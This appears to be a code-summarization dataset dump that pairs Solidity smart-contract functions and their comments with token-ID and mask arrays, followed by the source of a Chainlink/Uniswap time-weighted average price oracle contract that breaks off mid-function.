to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
6,766,029
[ 1, 13621, 434, 326, 288, 45, 654, 39, 3462, 97, 1560, 18, 1220, 4471, 353, 279, 1600, 669, 335, 358, 326, 4031, 2430, 854, 2522, 18, 1220, 4696, 716, 279, 14467, 12860, 711, 358, 506, 3096, 316, 279, 10379, 6835, 1450, 288, 67, 81, 474, 5496, 2457, 279, 5210, 12860, 2621, 288, 654, 39, 3462, 49, 2761, 16507, 1355, 5496, 399, 2579, 30, 2457, 279, 6864, 1045, 416, 2621, 3134, 7343, 358, 2348, 14467, 1791, 28757, 8009, 1660, 1240, 10860, 7470, 3502, 62, 881, 84, 292, 267, 9875, 14567, 30, 4186, 15226, 3560, 434, 5785, 1375, 5743, 68, 603, 5166, 18, 1220, 6885, 353, 1661, 546, 12617, 15797, 287, 471, 1552, 486, 7546, 598, 326, 26305, 434, 4232, 39, 3462, 12165, 18, 26775, 16, 392, 288, 23461, 97, 871, 353, 17826, 603, 4097, 358, 288, 13866, 1265, 5496, 1220, 5360, 12165, 358, 23243, 326, 1699, 1359, 364, 777, 9484, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 16351, 4232, 39, 3462, 353, 1772, 16, 467, 654, 39, 3462, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 3238, 389, 70, 26488, 31, 203, 203, 565, 2874, 261, 2867, 516, 2874, 261, 2867, 516, 2254, 5034, 3719, 3238, 389, 5965, 6872, 31, 203, 203, 565, 2254, 5034, 3238, 389, 4963, 3088, 1283, 31, 203, 203, 565, 533, 3238, 389, 529, 31, 203, 565, 533, 3238, 389, 7175, 31, 203, 565, 2254, 28, 3238, 389, 31734, 31, 203, 203, 565, 3885, 261, 1080, 3778, 508, 16, 533, 3778, 3273, 13, 1071, 288, 203, 3639, 389, 529, 273, 508, 31, 203, 3639, 389, 7175, 273, 3273, 31, 203, 3639, 389, 31734, 273, 6549, 31, 203, 565, 289, 203, 203, 565, 445, 508, 1435, 1071, 1476, 1135, 261, 1080, 3778, 13, 288, 203, 3639, 327, 389, 529, 31, 203, 565, 289, 203, 203, 565, 445, 3273, 1435, 1071, 1476, 1135, 261, 1080, 3778, 13, 288, 203, 3639, 327, 389, 7175, 31, 203, 565, 289, 203, 203, 565, 445, 15105, 1435, 1071, 1476, 1135, 261, 11890, 28, 13, 288, 203, 3639, 327, 389, 31734, 31, 203, 565, 289, 203, 203, 565, 445, 2078, 3088, 1283, 1435, 1071, 1476, 3849, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 327, 389, 4963, 3088, 1283, 31, 203, 565, 289, 203, 203, 565, 445, 11013, 951, 12, 2867, 2236, 13, 1071, 1476, 3849, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 327, 389, 70, 26488, 63, 4631, 15533, 203, 2 ]
./full_match/4/0xa7b92AC2f431E9BDa86AA34bfaECC24ccf3d5468/sources/BancorNetwork.sol
using a static call to identify converter version can't rely on the version number since the function had a different signature in older converters
function isV28OrHigherConverter(IConverter _converter) internal view returns (bool) { bytes memory data = abi.encodeWithSelector(IS_V28_OR_HIGHER_FUNC_SELECTOR); (bool success, bytes memory returnData) = address(_converter).staticcall{ gas: 4000 }(data); if (success && returnData.length == 32) { return abi.decode(returnData, (bool)); } return false; }
666,207
[ 1, 9940, 279, 760, 745, 358, 9786, 6027, 1177, 848, 1404, 21187, 603, 326, 1177, 1300, 3241, 326, 445, 9323, 279, 3775, 3372, 316, 12156, 19414, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 353, 58, 6030, 1162, 44, 9421, 5072, 12, 45, 5072, 389, 15747, 13, 2713, 1476, 1135, 261, 6430, 13, 288, 203, 3639, 1731, 3778, 501, 273, 24126, 18, 3015, 1190, 4320, 12, 5127, 67, 58, 6030, 67, 916, 67, 44, 3047, 3891, 67, 42, 21163, 67, 4803, 916, 1769, 203, 203, 3639, 261, 6430, 2216, 16, 1731, 3778, 327, 751, 13, 273, 1758, 24899, 15747, 2934, 3845, 1991, 95, 16189, 30, 1059, 3784, 289, 12, 892, 1769, 203, 3639, 309, 261, 4768, 597, 327, 751, 18, 2469, 422, 3847, 13, 288, 203, 5411, 327, 24126, 18, 3922, 12, 2463, 751, 16, 261, 6430, 10019, 203, 3639, 289, 203, 203, 3639, 327, 629, 31, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/5/0xDC43247a9655d7335C7AfcF721435e01aA5d7B40/sources/project_/contracts/DODOStarter/impl/Vesting.sol
============ Internal Function ============
function _claimToken(address to, uint256 totalAllocation) internal returns(uint256 claimableTokenAmount) { uint256 remainingToken = DecimalMath.mulFloor( getRemainingRatio(block.timestamp,0), totalAllocation ); claimableTokenAmount = totalAllocation.sub(remainingToken).sub(_CLAIMED_TOKEN_[msg.sender]); _CLAIMED_TOKEN_[msg.sender] = _CLAIMED_TOKEN_[msg.sender].add(claimableTokenAmount); IERC20(_TOKEN_ADDRESS_).safeTransfer(to,claimableTokenAmount); }
7,053,400
[ 1, 14468, 3186, 4284, 422, 1432, 631, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 14784, 1345, 12, 2867, 358, 16, 2254, 5034, 2078, 17353, 13, 2713, 1135, 12, 11890, 5034, 7516, 429, 1345, 6275, 13, 288, 203, 3639, 2254, 5034, 4463, 1345, 273, 11322, 10477, 18, 16411, 42, 5807, 12, 203, 5411, 336, 11429, 8541, 12, 2629, 18, 5508, 16, 20, 3631, 203, 5411, 2078, 17353, 203, 3639, 11272, 203, 3639, 7516, 429, 1345, 6275, 273, 2078, 17353, 18, 1717, 12, 17956, 1345, 2934, 1717, 24899, 15961, 3114, 40, 67, 8412, 67, 63, 3576, 18, 15330, 19226, 203, 3639, 389, 15961, 3114, 40, 67, 8412, 67, 63, 3576, 18, 15330, 65, 273, 389, 15961, 3114, 40, 67, 8412, 67, 63, 3576, 18, 15330, 8009, 1289, 12, 14784, 429, 1345, 6275, 1769, 203, 3639, 467, 654, 39, 3462, 24899, 8412, 67, 15140, 67, 2934, 4626, 5912, 12, 869, 16, 14784, 429, 1345, 6275, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/97/0xC6b761a8f6D2c8167Dfac3CEccd34afF7a459A2d/sources/project:/contracts/SaleFactory/saleContracts/Crowdsale.sol
* @dev Change Rate. @param newRate Crowdsale rate/
function _changeRate(uint256 newRate) internal virtual { rate = newRate; }
3,272,588
[ 1, 3043, 13025, 18, 225, 394, 4727, 385, 492, 2377, 5349, 4993, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 3427, 4727, 12, 11890, 5034, 394, 4727, 13, 2713, 5024, 288, 203, 3639, 4993, 273, 394, 4727, 31, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x60f440B2013Aa8d5CbD389F48E30eA942231449b/sources/contracts/features/UsingStalePeriod.sol
* @notice Update stale period/
function updateStalePeriod(uint256 stalePeriod_) external onlyGovernor { emit StalePeriodUpdated(stalePeriod, stalePeriod_); stalePeriod = stalePeriod_; }
8,392,178
[ 1, 1891, 14067, 3879, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1089, 19155, 5027, 12, 11890, 5034, 14067, 5027, 67, 13, 3903, 1338, 43, 1643, 29561, 288, 203, 3639, 3626, 934, 5349, 5027, 7381, 12, 334, 5349, 5027, 16, 14067, 5027, 67, 1769, 203, 3639, 14067, 5027, 273, 14067, 5027, 67, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/3/0x614E7A4B90945d180507b1B2c71D41185EA1ec31/sources/contracts/4_test1.sol
产品结构体 id 产品ID name 产品名称 productNo 产品编码 price 产品价格 mp 产品算力 status 产品状态/
struct Product { uint256 id ; string name; uint256 price; uint256 mp; uint8 status; }
14,209,198
[ 1, 165, 123, 105, 166, 246, 228, 168, 124, 246, 167, 257, 231, 165, 126, 246, 612, 225, 165, 123, 105, 166, 246, 228, 734, 508, 225, 165, 123, 105, 166, 246, 228, 166, 243, 240, 168, 105, 113, 3017, 2279, 225, 165, 123, 105, 166, 246, 228, 168, 125, 249, 168, 259, 228, 6205, 225, 165, 123, 105, 166, 246, 228, 165, 124, 120, 167, 259, 125, 6749, 225, 165, 123, 105, 166, 246, 228, 168, 111, 250, 166, 237, 254, 1267, 225, 165, 123, 105, 166, 246, 228, 168, 237, 119, 167, 227, 228, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1958, 8094, 288, 203, 3639, 2254, 5034, 612, 274, 203, 3639, 533, 508, 31, 203, 3639, 2254, 5034, 6205, 31, 203, 3639, 2254, 5034, 6749, 31, 203, 3639, 2254, 28, 1267, 31, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity >=0.6.10 <0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@chainlink/contracts/src/v0.6/interfaces/AggregatorV3Interface.sol"; import "@uniswap/v2-periphery/contracts/libraries/UniswapV2OracleLibrary.sol"; import "@uniswap/lib/contracts/libraries/FixedPoint.sol"; import "../interfaces/ITwapOracle.sol"; /// @title Time-weighted average price oracle /// @notice This contract extends the Chainlink Oracle, computes /// time-weighted average price (TWAP) in every 30-minute epoch. /// @author Tranchess /// @dev This contract relies on the following assumptions on the Chainlink aggregator: /// 1. Round ID returned by `latestRoundData()` is monotonically increasing over time. /// 2. Round ID is continuous in the same phase. Formally speaking, let `x` and `y` be two /// round IDs returned by `latestRoundData` in different blocks and they satisfy `x < y` /// and `x >> 64 == y >> 64`. Then every integer between `x` and `y` is a valid round ID. /// 3. Phase change is rare. /// 4. Each round is updated only once and `updatedAt` returned by `getRoundData()` is /// timestamp of the block in which the round is updated. Therefore, a transaction is /// guaranteed to see all rounds whose `updatedAt` is less than the current block timestamp. contract ChainlinkTwapOracle is ITwapOracle, Ownable { using FixedPoint for FixedPoint.uq112x112; using FixedPoint for FixedPoint.uq144x112; using SafeMath for uint256; uint256 private constant EPOCH = 30 minutes; uint256 private constant MIN_MESSAGE_COUNT = 10; uint256 private constant MAX_SWAP_DELAY = 15 minutes; uint256 private constant MAX_ITERATION = 500; event Update(uint256 timestamp, uint256 price, UpdateType updateType); /// @notice The contract fails to update an epoch from either Chainlink or Uniswap /// and will not attempt to do so in the future. event SkipMissingData(uint256 timestamp); /// @notice Twap of this epoch can be calculated from both Chainlink and Uniswap, /// but the difference is too large. The contract decides not to update this epoch /// using either result. event SkipDeviation(uint256 timestamp, uint256 chainlinkTwap, uint256 swapTwap); /// @notice Chainlink aggregator used as the primary data source. address public immutable chainlinkAggregator; /// @dev A multipler that normalizes price from the Chainlink aggregator to 18 decimal places. uint256 private immutable _chainlinkPriceMultiplier; /// @notice Uniswap V2 pair contract used as the backup data source. address public immutable swapPair; /// @dev Index of the token (0 or 1) in the pair whose price is taken. uint256 private immutable _swapTokenIndex; /// @dev A multipler that normalizes price from the Uniswap V2 pair to 18 decimal places. uint256 private immutable _swapPriceMultiplier; string public symbol; /// @notice The last epoch that has been updated (or attempted to update) using data from /// Chainlink or Uniswap. uint256 public lastTimestamp; /// @notice The last Chainlink round ID that has been read. uint80 public lastRoundID; /// @notice The last observation of the Uniswap V2 pair cumulative price. uint256 public lastSwapCumulativePrice; /// @notice Timestamp of the last Uniswap observation. uint256 public lastSwapTimestamp; /// @dev Mapping of epoch end timestamp => TWAP mapping(uint256 => uint256) private _prices; /// @param chainlinkAggregator_ Address of the Chainlink aggregator /// @param swapPair_ Address of the Uniswap V2 pair /// @param symbol_ Asset symbol constructor( address chainlinkAggregator_, address swapPair_, string memory symbol_ ) public { chainlinkAggregator = chainlinkAggregator_; uint256 decimal = AggregatorV3Interface(chainlinkAggregator_).decimals(); _chainlinkPriceMultiplier = 10**(uint256(18).sub(decimal)); swapPair = swapPair_; ERC20 swapToken0 = ERC20(IUniswapV2Pair(swapPair_).token0()); ERC20 swapToken1 = ERC20(IUniswapV2Pair(swapPair_).token1()); uint256 swapTokenIndex_; bytes32 symbolHash = keccak256(bytes(symbol_)); if (symbolHash == keccak256(bytes(swapToken0.symbol()))) { swapTokenIndex_ = 0; } else if (symbolHash == keccak256(bytes(swapToken1.symbol()))) { swapTokenIndex_ = 1; } else { revert("Symbol mismatch"); } _swapTokenIndex = swapTokenIndex_; _swapPriceMultiplier = swapTokenIndex_ == 0 ? 10**(uint256(18).add(swapToken0.decimals()).sub(swapToken1.decimals())) : 10**(uint256(18).add(swapToken1.decimals()).sub(swapToken0.decimals())); symbol = symbol_; lastTimestamp = (block.timestamp / EPOCH) * EPOCH + EPOCH; (lastRoundID, , , , ) = AggregatorV3Interface(chainlinkAggregator_).latestRoundData(); } /// @notice Return TWAP with 18 decimal places in the epoch ending at the specified timestamp. /// Zero is returned if the epoch is not initialized yet. /// @param timestamp End Timestamp in seconds of the epoch /// @return TWAP (18 decimal places) in the epoch, or zero if the epoch is not initialized yet. function getTwap(uint256 timestamp) external view override returns (uint256) { return _prices[timestamp]; } /// @notice Attempt to update the next epoch after `lastTimestamp` using data from Chainlink /// or Uniswap. If neither data source is available, the epoch is skipped and this /// function will never update it in the future. /// /// This function is designed to be called after each epoch. /// @dev First, this function reads all Chainlink rounds before the end of this epoch, and /// calculates the TWAP if there are enough data points in this epoch. /// /// Otherwise, it tries to use data from Uniswap. Calculating TWAP from a Uniswap pair /// requires two observations at both endpoints of the epoch. An observation is considered /// valid only if it's taken within `MAX_SWAP_DELAY` seconds after the desired timestamp. /// Regardless of whether or how the epoch is updated, the current observation is stored /// if it is valid for the next epoch's start. function update() external { uint256 timestamp = lastTimestamp + EPOCH; require(block.timestamp > timestamp, "Too soon"); (uint256 chainlinkTwap, uint80 newRoundID) = _updateTwapFromChainlink(timestamp); // Only observe the Uniswap pair if it's not too late. uint256 swapTwap = 0; if (block.timestamp <= timestamp + MAX_SWAP_DELAY) { uint256 currentCumulativePrice = _observeSwap(); swapTwap = _updateTwapFromSwap(timestamp, currentCumulativePrice); lastSwapCumulativePrice = currentCumulativePrice; lastSwapTimestamp = block.timestamp; } if (chainlinkTwap != 0) { if ( swapTwap != 0 && (chainlinkTwap < (swapTwap / 10) * 9 || swapTwap < (chainlinkTwap / 10) * 9) ) { emit SkipDeviation(timestamp, chainlinkTwap, swapTwap); } else { _prices[timestamp] = chainlinkTwap; emit Update(timestamp, chainlinkTwap, UpdateType.CHAINLINK); } } else if (swapTwap != 0) { _prices[timestamp] = swapTwap; emit Update(timestamp, swapTwap, UpdateType.UNISWAP_V2); } else { emit SkipMissingData(timestamp); } lastTimestamp = timestamp; lastRoundID = newRoundID; } /// @dev Sequentially read Chainlink oracle until end of the given epoch. /// @param timestamp End timestamp of the epoch to be updated /// @return twap TWAP of the epoch calculated from Chainlink, or zero if there's no sufficient data /// @return newRoundID The last round ID that has been read until the end of this epoch function _updateTwapFromChainlink(uint256 timestamp) private view returns (uint256 twap, uint80 newRoundID) { (uint80 roundID, int256 oldAnswer, , uint256 oldUpdatedAt, ) = _getChainlinkRoundData(lastRoundID); uint256 sum = 0; uint256 sumTimestamp = timestamp - EPOCH; uint256 messageCount = 0; for (uint256 i = 0; i < MAX_ITERATION; i++) { (, int256 newAnswer, , uint256 newUpdatedAt, ) = _getChainlinkRoundData(++roundID); if (newUpdatedAt < oldUpdatedAt || newUpdatedAt > timestamp) { // This round is either not available yet (newUpdatedAt < updatedAt) // or beyond the current epoch (newUpdatedAt > timestamp). roundID--; break; } if (newUpdatedAt > sumTimestamp) { sum = 